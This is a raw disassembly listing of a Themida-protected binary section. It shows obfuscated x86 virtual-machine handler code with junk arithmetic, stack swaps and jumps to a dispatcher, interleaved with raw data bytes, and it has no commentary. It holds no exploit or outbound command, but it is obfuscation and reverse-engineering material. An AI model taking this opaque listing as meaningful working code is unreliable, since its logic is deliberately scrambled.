		push	edx
		jmp	loc_55E898
; ---------------------------------------------------------------------------

loc_5563DA:				; CODE XREF: Themida_:0056A561j
		or	eax, ebp
		pop	ebp
		and	eax, 5CE35AA2h
		and	eax, 751A36D7h
		sub	eax, 5400127Ch
		add	edi, eax
		pop	eax
		sub	esp, 4
		jmp	loc_558B13
; ---------------------------------------------------------------------------

loc_5563FA:				; CODE XREF: Themida_:00561140j
		mov	esp, [esp]
		jmp	loc_56104A
; ---------------------------------------------------------------------------

loc_556402:				; CODE XREF: Themida_:00569D9Fj
		js	loc_559864
		jmp	loc_56C9B7
; ---------------------------------------------------------------------------
byte_55640D	db 64h,	8Fh, 2		; DATA XREF: Themida_:005560F4o
		dd 0FFFED2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556415:				; CODE XREF: Themida_:0055D51Ej
		xor	ecx, 0CEAD29F4h
		sub	edx, 0A793034h
		sub	edx, 629B27BCh
		add	edx, ecx
		add	edx, 629B27BCh
		add	edx, 0A793034h
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	ecx
		jmp	loc_55DE23
; ---------------------------------------------------------------------------

loc_556442:				; CODE XREF: Themida_:00560FEDj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	ecx
		push	ax
		push	edx
		mov	dl, 0Ah
		jmp	loc_55CCA1
; ---------------------------------------------------------------------------

loc_556459:				; CODE XREF: Themida_:0056179Cj
		add	ebx, ebp
		jmp	loc_5672FC
; ---------------------------------------------------------------------------

loc_556460:				; CODE XREF: Themida_:00565799j
		pop	cx
		add	ah, 0E3h
		jle	loc_563703
		push	edx
		mov	dh, 0EAh
		jmp	loc_56853B
; ---------------------------------------------------------------------------

loc_556473:				; CODE XREF: Themida_:005630CBj
		sub	esi, 22130CE3h
		add	esi, edi
		add	esi, 22130CE3h
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5575DC
; ---------------------------------------------------------------------------

loc_55649E:				; CODE XREF: Themida_:0056C728j
		mov	esi, edx
		pop	edx
		jmp	loc_56ADF2
; ---------------------------------------------------------------------------

loc_5564A6:				; CODE XREF: Themida_:0056228Aj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 5180E9h
		db 0
; ---------------------------------------------------------------------------

loc_5564C5:				; CODE XREF: Themida_:00565F3Bj
		xor	esi, edi
		jmp	loc_55C1C3
; ---------------------------------------------------------------------------

loc_5564CC:				; CODE XREF: Themida_:00566679j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		push	4CEE776Dh
		pop	esi
		sub	esi, 2D966A54h
		jle	loc_55866F
		jmp	loc_559B0A
; ---------------------------------------------------------------------------

loc_5564EB:				; CODE XREF: Themida_:00565C3Dj
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55E5EE
; ---------------------------------------------------------------------------

loc_5564FE:				; CODE XREF: Themida_:00556D60j
					; Themida_:0056AD99j
		jmp	loc_569DA4
; ---------------------------------------------------------------------------

loc_556503:				; CODE XREF: Themida_:005645F3j
		mov	edi, [esp]
		jmp	loc_566323
; ---------------------------------------------------------------------------

loc_55650B:				; CODE XREF: Themida_:0056A956j
		mov	edx, [esp]
		add	esp, 4
		push	edi
		push	eax
		push	ebx
		mov	ebx, 77660363h
		jmp	loc_557645
; ---------------------------------------------------------------------------
aHsD		db 'HИэ╓',0
		db 0
; ---------------------------------------------------------------------------

loc_556527:				; CODE XREF: Themida_:0056BE39j
		shr	cl, 6
		push	dx
		mov	dh, 0ADh
		sub	cl, dh
		mov	dx, [esp]
		add	esp, 2
		add	al, cl
		mov	ecx, [esp]
		add	esp, 4
		sub	al, 0B0h
		sub	al, ch
		add	al, 0B0h
		push	edx
		mov	dh, 54h
		jmp	loc_55EEF2
; ---------------------------------------------------------------------------
		db 68h,	6Eh, 1Eh
		dd 56E90000h
		db 0ACh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_556557:				; CODE XREF: Themida_:00559C2Ej
		push	ebp
		mov	ebp, 6AC707AEh
		add	ebx, ebp
		pop	ebp
		add	ebx, eax
		push	ebp
		mov	ebp, 257B3C20h
		jmp	loc_55B28D
; ---------------------------------------------------------------------------
		db 58h,	8Fh, 4
		dd 24248B24h, 31241C33h, 1C33241Ch, 24248B24h, 4BB0F66h
		dd 5CE99C24h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55658B:				; CODE XREF: Themida_:00561B77j
		mov	ebx, 0FF7ED678h
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, edi
		jmp	loc_564A86
; ---------------------------------------------------------------------------

loc_5565A2:				; CODE XREF: Themida_:00562106j
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5A684B8Ah
		shl	ebp, 3
		add	ebp, 1
		jmp	loc_55CF30
; ---------------------------------------------------------------------------
aXsmz		db 'XИ╛Z',0
		align 2

loc_5565CA:				; CODE XREF: Themida_:00556DCFj
		sub	al, dl
		pop	edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	al, 0DFh
		jmp	loc_55FE93
; ---------------------------------------------------------------------------

loc_5565DE:				; CODE XREF: Themida_:005578E8j
		add	esi, 10DD0610h
		mov	edi, esi
		jmp	loc_55EF3C
; ---------------------------------------------------------------------------
aTsea		db '$▓И╔─',0
		align 2

loc_5565F2:				; CODE XREF: Themida_:00557D57j
		push	ebx
		mov	ebx, 5C032BB3h
		jmp	loc_55E424
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C4h
		dd 4, 0A904D828h, 81E18951h, 4C1h, 2E98300h, 76CBE9h
		db 0
; ---------------------------------------------------------------------------

loc_556619:				; CODE XREF: Themida_:0055F740j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_556623:				; CODE XREF: Themida_:0055785Bj
		pop	edx
		add	esp, 4
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	ebp, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_568E6D
; ---------------------------------------------------------------------------

loc_55663C:				; CODE XREF: Themida_:0055F166j
		mov	ecx, 2BA7172Dh
		add	ecx, 27A6452h
		add	ecx, ebp
		sub	ecx, 27A6452h
		pop	ebp
		jmp	loc_5674CE
; ---------------------------------------------------------------------------

loc_556655:				; CODE XREF: Themida_:0055F661j
		xor	bl, 76h
		jno	loc_568CE3
		jmp	loc_55B972
; ---------------------------------------------------------------------------
		db 1
		dd 0C1805FFBh, 24048BC7h, 50595451h, 0B03E42B8h, 3DE94076h
		db 2Eh,	1, 0
; ---------------------------------------------------------------------------

loc_55667B:				; CODE XREF: Themida_:005694F5j
		push	ebx
		push	390E2802h
		pop	ebx
		jmp	loc_56BA6C
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C240430h, 0ABEBE9h
		db 0
; ---------------------------------------------------------------------------

loc_556691:				; CODE XREF: Themida_:0056ABBDj
		mov	[esp], ebp
		mov	ebp, 111D3D22h
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5689F7
; ---------------------------------------------------------------------------

loc_5566B9:				; CODE XREF: Themida_:00558815j
		mov	edx, [esp]
		jmp	loc_55FCA1
; ---------------------------------------------------------------------------

loc_5566C1:				; CODE XREF: Themida_:0055742Aj
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_5566C6:				; CODE XREF: Themida_:0055A8C9j
		push	ebx
		mov	ebx, 384657B9h
		not	ebx
		inc	ebx
		shl	ebx, 5
		add	ebx, 71436F1Dh
		sub	ecx, ebx
		jmp	loc_5686C9
; ---------------------------------------------------------------------------

loc_5566DF:				; CODE XREF: Themida_:0056B1E3j
		push	2053h
		mov	[esp], edi
		mov	edi, 75977BAh
		or	edi, 7C9h
		or	edi, 5C517D3Eh
		jmp	loc_56A361
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0E3h
		db 0Eh,	1, 0
; ---------------------------------------------------------------------------

loc_556703:				; CODE XREF: Themida_:0056CF2Aj
		add	esp, 4
		push	3D10h
		mov	[esp], edi
		jmp	loc_559194
; ---------------------------------------------------------------------------

loc_556713:				; CODE XREF: Themida_:0055AAB7j
					; Themida_:0055C071j
		mov	[esp], edx
		jmp	loc_55C50E
; ---------------------------------------------------------------------------

loc_55671B:				; CODE XREF: Themida_:0055C456j
		push	ebx
		push	edx
		jmp	loc_55B276
; ---------------------------------------------------------------------------

loc_556722:				; CODE XREF: Themida_:005683DFj
		and	ecx, 5D9136F0h
		push	ebx
		jmp	loc_559CDD
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 651BBD24h, 0CD8122A8h, 172A333Ch, 0FEC4ED81h, 0FCE92A4Eh
		db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_556747:				; CODE XREF: Themida_:0056794Bj
		mov	[esp], ebx
		mov	ebx, 4
		sub	edx, 44853C85h
		push	50A2h
		mov	[esp], esi
		mov	esi, 78E3000Fh
		jmp	loc_558271
; ---------------------------------------------------------------------------

loc_556767:				; CODE XREF: Themida_:0056BC22j
		sub	edx, 1A187ACCh
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_557B43
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_560CE5
; ---------------------------------------------------------------------------
aKSiSJ		db '╦╨K<',0Ah
		db 'S┴цИс╕',0
		dd 12C78100h, 297DBD45h, 39ABE9C7h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5567A6:				; CODE XREF: Themida_:00564A65j
		add	esp, 4
		jmp	loc_561214
; ---------------------------------------------------------------------------

loc_5567B1:				; CODE XREF: Themida_:0056380Aj
		pop	esp
		push	bx
		mov	bh, 0D7h
		sub	dl, 0A3h
		jmp	loc_55FD16
; ---------------------------------------------------------------------------

loc_5567BE:				; CODE XREF: Themida_:005570FEj
					; Themida_:005629B2j
		mov	edi, 4
		add	ecx, 690B4A3Dh
		add	ecx, edi
		jmp	loc_55636C
; ---------------------------------------------------------------------------
		dd 8B57BD55h, 0EB298278h, 56D3F75Dh, 79A6BF57h,	0EC81270Bh
		dd 4, 11661E9h
		db 0
; ---------------------------------------------------------------------------

loc_5567ED:				; CODE XREF: Themida_:0055E8DEj
		pop	ebp
		jmp	loc_559D76
; ---------------------------------------------------------------------------

loc_5567F3:				; CODE XREF: Themida_:0055E33Cj
		push	3CB2h
		mov	[esp], ebx
		push	esi
		mov	esi, 56C25D7Fh
		push	edi
		jmp	loc_556875
; ---------------------------------------------------------------------------

loc_556807:				; CODE XREF: Themida_:0055BA35j
		pop	edx
		push	edi
		jmp	loc_56602E
; ---------------------------------------------------------------------------

loc_55680E:				; CODE XREF: Themida_:00559280j
		push	small 548Bh
		mov	[esp], dx
		mov	dl, 0BAh
		sub	al, 82h
		sub	al, dl
		jmp	loc_55BFA3
; ---------------------------------------------------------------------------

loc_556821:				; CODE XREF: Themida_:0055BB13j
		mov	esp, [esp]
		div	ecx
		push	746Bh
		jmp	loc_567941
; ---------------------------------------------------------------------------

loc_556830:				; CODE XREF: Themida_:0055AB17j
		add	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_564784
; ---------------------------------------------------------------------------

loc_55683E:				; CODE XREF: Themida_:0055F13Cj
					; Themida_:0056B0B0j
		push	24312A7Dh
		pop	esi
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		jmp	loc_55ADB2
; ---------------------------------------------------------------------------

loc_55684D:				; CODE XREF: Themida_:0056120Fj
					; Themida_:005673A7j
		and	ebp, 3DD32FB8h
		sub	ebp, 0F5B6C5F5h
		add	esi, 4E662275h
		sub	esi, ebp
		sub	esi, 4E662275h
		pop	ebp
		sub	esi, 2D8D54D4h
		add	esi, eax
		jmp	loc_56AD0B
; ---------------------------------------------------------------------------

loc_556875:				; CODE XREF: Themida_:00556802j
		push	esi
		add	dword ptr [esp], 37DA6BD2h
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 37DA6BD2h
		sub	esp, 4
		mov	[esp], edx
		push	edi
		pop	edx
		mov	ebx, edx
		pop	edx
		pop	edi
		pop	esi
		jmp	loc_56D17A
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 0B51FB4AAh, 3003ED81h, 74E961DFh
		db 0ACh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5568AF:				; CODE XREF: Themida_:00560DEFj
		pop	ebp
		push	esi
		push	ebx
		push	7C0B2D27h
		pop	ebx
		xor	ebx, 4CF74AE4h
		mov	esi, ebx
		pop	ebx
		xor	edx, esi
		pop	esi
		jmp	loc_566C45
; ---------------------------------------------------------------------------
		db 0BBh, 0E9h, 5
		dd 0DF0143D7h, 0EA43E9h
		db 0
; ---------------------------------------------------------------------------

loc_5568D5:				; CODE XREF: Themida_:0056ADFFj
		shr	bh, 4
		jmp	loc_55C31F
; ---------------------------------------------------------------------------

loc_5568DD:				; CODE XREF: Themida_:00569311j
		push	edx
		push	esi
		mov	esi, 54FD5F1Bh
		xor	esi, 150368F6h
		jb	loc_563430
		xor	esi, 15913C9Ah
		jnb	loc_55D259
		not	esi
		shr	esi, 4
		dec	esi
		jnp	loc_556FCA
		mov	esi, ecx
		mov	edi, 43E7040Dh
		dec	edi
		add	edi, 109D7B9Fh
		shr	edi, 1
		jmp	loc_56BF80
; ---------------------------------------------------------------------------

loc_55691D:				; CODE XREF: Themida_:0056D16Aj
		push	ebx
		mov	ebx, 0CE030BFh
		and	esi, ebx
		pop	ebx
		jmp	loc_55E1C8
; ---------------------------------------------------------------------------

loc_55692B:				; CODE XREF: Themida_:00557156j
		push	21D9h
		jmp	loc_562748
; ---------------------------------------------------------------------------

loc_556935:				; CODE XREF: Themida_:00569CDFj
		push	dword ptr [edi+eax*4]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 0Fh
		dd 275682h, 81D6F700h, 0D7E50DEEh, 8BF289F7h, 51502434h
; ---------------------------------------------------------------------------

loc_556954:				; CODE XREF: Themida_:loc_559572j
		sub	eax, 4D5D3D20h
		jmp	loc_564493
; ---------------------------------------------------------------------------

loc_55695E:				; CODE XREF: Themida_:00556BB6j
		or	dl, 0Dh
		xor	dl, 8Ah
		sub	al, 0DDh
		add	al, 33h
		add	al, dl
		jmp	loc_56CA84
; ---------------------------------------------------------------------------

loc_55696F:				; CODE XREF: Themida_:0055DC15j
		mov	ebx, ebp
		mov	esi, ebx
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_558F62
; ---------------------------------------------------------------------------
aBI3VsW		db '│оi3ц"VИаw',0
		align 2

loc_55698E:				; CODE XREF: Themida_:0055D79Ej
		jmp	loc_557365
; ---------------------------------------------------------------------------

loc_556993:				; CODE XREF: Themida_:00567C1Bj
		shl	dl, 6
		jmp	loc_562522
; ---------------------------------------------------------------------------

loc_55699B:				; CODE XREF: Themida_:0055A84Fj
		sub	ebx, 0B5EAD7CCh
		add	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	edi, ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_563907
; ---------------------------------------------------------------------------
		dd 420BE56h, 0F70129E1h, 0F968565Eh, 89000072h,	0CAE9242Ch
		db 66h,	1, 0
; ---------------------------------------------------------------------------

loc_5569D7:				; CODE XREF: Themida_:0055BC22j
		sub	ebx, eax
		pop	eax
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_559645
; ---------------------------------------------------------------------------

loc_5569E4:				; CODE XREF: Themida_:0055F540j
		add	al, 79h
		add	al, bh
		jmp	loc_562E30
; ---------------------------------------------------------------------------

loc_5569ED:				; CODE XREF: Themida_:005570D8j
		add	esp, 4
		or	eax, eax
		jz	loc_5599C0
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 460102F3h
		jmp	loc_55EDE4
; ---------------------------------------------------------------------------
		dw 0E94Eh
		dd 14E90h
; ---------------------------------------------------------------------------

loc_556A14:				; CODE XREF: Themida_:00558618j
		add	eax, 3FAC18F5h
		shl	eax, 4
		xor	eax, 241707A3h
		sub	ebp, 7F1346Fh
		sub	ebp, eax
		add	ebp, 7F1346Fh
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56A9B1
; ---------------------------------------------------------------------------

loc_556A40:				; CODE XREF: Themida_:00565166j
		pop	edx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5608A0
; ---------------------------------------------------------------------------
		dd 289D932Dh, 8BC5898Bh, 0C4832404h, 0E085E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556A6A:				; CODE XREF: Themida_:0056BB53j
		add	edx, 346C6448h
		add	edx, eax
		sub	edx, 346C6448h
		mov	eax, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_558BA7
; ---------------------------------------------------------------------------

loc_556A8F:				; CODE XREF: Themida_:005592F4j
		push	33B4383Ch
		pop	edi
		push	edx
		jmp	loc_56B49B
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0B9240C89h, 718B3C22h, 0D1BEE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556AAA:				; CODE XREF: Themida_:0056198Dj
		jg	loc_559B0A
		xor	esi, 0B14EC0B0h
		mov	eax, esi
		pop	esi
		xor	ebx, eax
		pop	eax
		sub	edi, ebx
		pop	ebx
		push	edx
		mov	edx, 1B9136B0h
		jmp	loc_56AE52
; ---------------------------------------------------------------------------

loc_556ACA:				; CODE XREF: Themida_:005590CFj
					; Themida_:0055E758j
		sub	ebx, esi
		jmp	loc_559E1A
; ---------------------------------------------------------------------------
byte_556AD1	db 0ADh, 0E9h, 0E0h	; DATA XREF: Themida_:0055607Co
		db 62h,	1, 0
; ---------------------------------------------------------------------------

loc_556AD7:				; CODE XREF: Themida_:0055EE71j
					; Themida_:005640BFj
		push	dword ptr [esp+4]
		jmp	loc_55E8BE
; ---------------------------------------------------------------------------
		dd 6E43E681h, 820F50BFh, 5FAEh,	11E03E9h
		db 0
; ---------------------------------------------------------------------------

loc_556AF1:				; CODE XREF: Themida_:00560E46j
		add	ebx, edi
		add	ebx, 71DB02FEh
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_56CC0C
; ---------------------------------------------------------------------------

loc_556B05:				; CODE XREF: Themida_:00563B1Bj
		sub	dh, cl
		push	eax
		mov	ah, 38h
		add	dh, ah
		jmp	loc_56AECB
; ---------------------------------------------------------------------------
		db 68h,	42h, 27h
		dd 0CDE90000h
		db 25h,	1, 0
; ---------------------------------------------------------------------------

loc_556B1B:				; CODE XREF: Themida_:0055CE33j
		push	esi
		push	edx
		mov	edx, 4126700Ah
		mov	esi, edx
		pop	edx
		mov	ecx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5593EE
; ---------------------------------------------------------------------------

loc_556B30:				; CODE XREF: Themida_:00567B2Aj
		push	4E0620A6h
		pop	ecx
		xor	ecx, 1D505671h
		and	ecx, 0F92182Bh
		push	esi
		mov	esi, 0F111F62h
		add	ecx, 103E3960h
		sub	ecx, esi
		sub	ecx, 103E3960h
		pop	esi
		push	edi
		mov	edi, 6B4252E0h
		xor	ecx, edi
		pop	edi
		shl	ecx, 1
		push	edx
		mov	edx, 3E854486h
		jmp	loc_559B7D
; ---------------------------------------------------------------------------

loc_556B6D:				; CODE XREF: Themida_:0056682Bj
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		movzx	eax, al
		push	small 15B6h
		mov	[esp], ax
		jmp	loc_564E36
; ---------------------------------------------------------------------------

loc_556B8A:				; CODE XREF: Themida_:0055EB31j
		pop	edx
		shr	bh, 5
		sub	esp, 2
		mov	[esp], cx
		mov	cl, 37h
		add	cl, 0B4h
		sub	bh, 79h
		sub	bh, cl
		add	bh, 79h
		mov	cx, [esp]
		add	esp, 2
		add	al, 0C5h
		push	edx
		mov	dl, 0BFh
		dec	dl
		jmp	loc_55695E
; ---------------------------------------------------------------------------
		db 81h
		dd 5804F6CEh, 0EC68102h, 0E999A4FBh, 30CFh, 0BE3CD205h
		dd 89E30539h, 42E9E4A3h
		db 36h,	1, 0
; ---------------------------------------------------------------------------

loc_556BDB:				; CODE XREF: Themida_:00557C76j
		mov	[esp], edi
		push	203Eh
		mov	[esp], esi
		push	ebx
		mov	esi, [esp]
		push	edx
		jmp	loc_55C470
; ---------------------------------------------------------------------------

loc_556BF0:				; CODE XREF: Themida_:0056B267j
		add	ebp, 768A2057h
		jmp	loc_568C4D
; ---------------------------------------------------------------------------

loc_556BFB:				; CODE XREF: Themida_:00558088j
		sub	ch, 15h
		mov	al, ch
		pop	ecx
		jmp	loc_568BD8
; ---------------------------------------------------------------------------

loc_556C06:				; CODE XREF: Themida_:00560910j
		push	edx
		jmp	loc_55F4CB
; ---------------------------------------------------------------------------
		dd 49E9FB01h
		db 0Ch,	1, 0
; ---------------------------------------------------------------------------

loc_556C13:				; CODE XREF: Themida_:00556E43j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebx
		jmp	loc_5654D4
; ---------------------------------------------------------------------------

loc_556C1F:				; CODE XREF: Themida_:0055BF0Bj
		pop	dword ptr [esp]
		pop	esp
		xor	bl, al
		jmp	loc_566E7C
; ---------------------------------------------------------------------------

loc_556C2A:				; CODE XREF: Themida_:00566B8Ej
		add	edi, ebp
		add	edi, 6B87BD0h
		jmp	loc_568B29
; ---------------------------------------------------------------------------
		db 5
		dd 4, 9DF1E9h
		db 0
byte_556C41	db 66h,	8Bh, 4		; DATA XREF: Themida_:00556240o
		dd 4EC8324h, 54242C89h,	57242C8Bh, 0BB53E789h, 220C0152h
		dd 0F3814B4Bh, 220C0154h, 18E9DF01h
		db 0F9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_556C67:				; CODE XREF: Themida_:0056C70Cj
		push	edi
		mov	edi, 52DC56E3h
		jmp	loc_562D27
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 13712h, 498C68h, 241C8900h, 5631E9h,	5C492500h, 0F8356B27h
		dd 8956FE66h, 0E4BF58C3h, 0E9F596F4h, 9AE7h
; ---------------------------------------------------------------------------

loc_556C9C:				; CODE XREF: Themida_:0056AD7Fj
		mov	esi, 352567BEh
		xor	edx, esi
		pop	esi
		jmp	loc_5657C7
; ---------------------------------------------------------------------------
		db 0Fh,	8Ch, 58h
		dd 810000A6h, 7B5896F7h, 0C3840F49h, 0E90000F9h, 2286h
		dd 3377F581h, 4E98253h
		db 32h,	1, 0
; ---------------------------------------------------------------------------

loc_556CCB:				; CODE XREF: Themida_:loc_56413Fj
		jmp	loc_559CE7
; ---------------------------------------------------------------------------

loc_556CD0:				; CODE XREF: Themida_:0056AA20j
		mov	esp, [esp]
		cmp	cl, al
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_556CDB:				; CODE XREF: Themida_:0055E315j
		mov	ecx, ebp
		pop	ebp
		xor	ecx, eax
		pop	eax
		and	ecx, 4B536F31h
		jp	loc_56CF21
		push	esi
		push	34FF766Eh
		pop	esi
		and	ecx, esi
		pop	esi
		shl	ecx, 3
		jmp	loc_5677C3
; ---------------------------------------------------------------------------

loc_556CFF:				; CODE XREF: Themida_:005620C9j
		jge	loc_5694C3
		sub	ebx, 6DB7183Dh
		jmp	loc_56C36B
; ---------------------------------------------------------------------------
		db 88h,	0CCh
; ---------------------------------------------------------------------------

loc_556D12:				; CODE XREF: Themida_:00569CABj
		pop	edi
		or	eax, 718F2F55h
		shr	eax, 3
		dec	eax
		shl	eax, 6
		sub	eax, 3C4B1209h
		add	eax, 0CDBD9AF9h
		and	edx, eax
		mov	eax, [esp]
		jmp	loc_558356
; ---------------------------------------------------------------------------

loc_556D33:				; CODE XREF: Themida_:00567CBAj
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	bl, 2
		add	bl, 0DAh
		xor	al, bl
		push	dword ptr [esp]
		jmp	loc_5675C8
; ---------------------------------------------------------------------------
		db 56h,	50h, 0E9h
		dd 15E10h
; ---------------------------------------------------------------------------

loc_556D50:				; CODE XREF: Themida_:00561F8Ej
		mov	dl, 7
		xor	dl, 0F1h
		xor	dl, 6Bh
		neg	dl
		shl	dl, 2
		sub	dl, 22h
		jo	loc_5564FE
		jmp	loc_55AE54
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0D18B243Ch, 8124048Bh, 4ECh,	243C8900h, 0C781E789h
		dd 4, 12CB6E9h,	58E95A00h, 81000148h, 0DC1B23EDh, 0E9FD2963h
		dd 6E29h
; ---------------------------------------------------------------------------

loc_556D9C:				; CODE XREF: Themida_:0056AB01j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55E032
; ---------------------------------------------------------------------------

loc_556DA5:				; CODE XREF: Themida_:0056596Dj
					; DATA XREF: Themida_:00556148o
		lodsb
		jmp	loc_55E4C5
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0CD8106EDh, 47806D9Eh, 5AF0F581h, 0F58123E1h, 9F955E9Bh
		dd 0E95DEF29h, 0F79Eh
; ---------------------------------------------------------------------------

loc_556DC8:				; CODE XREF: Themida_:loc_55B4E0j
		add	al, 0FCh
		sub	al, dl
		push	edx
		mov	dl, 0FCh
		jmp	loc_5565CA
; ---------------------------------------------------------------------------

loc_556DD4:				; CODE XREF: Themida_:0056A0F8j
					; Themida_:loc_56BE0Dj
		mov	eax, [esp]
		push	ebx
		push	788h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_558E5E
; ---------------------------------------------------------------------------

loc_556DEC:				; CODE XREF: Themida_:0056AE4Dj
		pop	eax
		mov	eax, 303B28E9h
		xor	eax, ebx
		pop	ebx
		push	eax
		jmp	loc_55CADD
; ---------------------------------------------------------------------------

loc_556DFB:				; CODE XREF: Themida_:00557D64j
		pop	esi
		sub	eax, 8FE155A7h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 54D228B1h
		sub	ebx, edi
		sub	ebx, 54D228B1h
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_561C03
; ---------------------------------------------------------------------------

loc_556E22:				; CODE XREF: Themida_:0056782Aj
		add	eax, edi
		push	5FFAh
		jmp	loc_560319
; ---------------------------------------------------------------------------

loc_556E2E:				; CODE XREF: Themida_:0055B2F3j
		add	dword ptr [esp], 3B70768Ch
		push	dword ptr [esp]
		jmp	loc_56D2EC
; ---------------------------------------------------------------------------

loc_556E3D:				; CODE XREF: Themida_:0056B9ACj
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_556C13
; ---------------------------------------------------------------------------

loc_556E48:				; CODE XREF: Themida_:0056C404j
		add	ebp, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_56BBC1
; ---------------------------------------------------------------------------

loc_556E55:				; CODE XREF: Themida_:0055F5FAj
		xor	eax, 56AE34EDh
		jno	loc_55BB8B
		sub	eax, 3875485Ch
		jb	loc_5650C4
		push	esi

loc_556E6C:				; CODE XREF: Themida_:0055C03Cj
		pop	ebx
		jmp	loc_55DE95
; ---------------------------------------------------------------------------
		dw 2668h
		dd 8900001Dh, 0E9572404h, 11812h
; ---------------------------------------------------------------------------

loc_556E80:				; CODE XREF: Themida_:00558014j
		pop	dword ptr [esp]
		pop	esp
		sub	ax, bx
		push	ebp
		push	3E70h
		jmp	loc_559577
; ---------------------------------------------------------------------------

loc_556E92:				; CODE XREF: Themida_:00568132j
		sub	dh, 7Eh
		sub	al, dh
		jmp	loc_55D697
; ---------------------------------------------------------------------------

loc_556E9C:				; CODE XREF: Themida_:0055E0BBj
					; Themida_:0056AB8Fj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55E93D
; ---------------------------------------------------------------------------

loc_556EA8:				; CODE XREF: Themida_:00560CE8j
		add	esp, 4
		sub	esp, 4
		jmp	loc_564557
; ---------------------------------------------------------------------------

loc_556EB6:				; CODE XREF: Themida_:00562D52j
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	60F1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 24EA47DAh
		inc	edi
		dec	edi
		push	esi
		mov	esi, 28754A17h
		sub	edi, esi
		pop	esi
		add	edi, 38B0241h
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		push	esi
		push	eax
		push	ecx
		mov	ecx, 33E609D0h
		jmp	loc_5578ED
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0E95D0424h, 16050h, 0E9240C89h, 0BBE7h
; ---------------------------------------------------------------------------

loc_556F0C:				; CODE XREF: Themida_:005677FEj
		sub	ebp, ebx
		pop	ebx
		push	ebp
		pop	esi
		mov	ebp, [esp]
		jmp	loc_556386
; ---------------------------------------------------------------------------
		db 68h,	65h, 7
		dd 1C890000h, 2474FF24h, 2434FF04h, 4C4835Bh, 8B24048Fh
		dd 8B662424h, 8EE92404h, 8F00015Ch, 4832404h, 515E0424h
		dd 0BC53E9h
		db 0
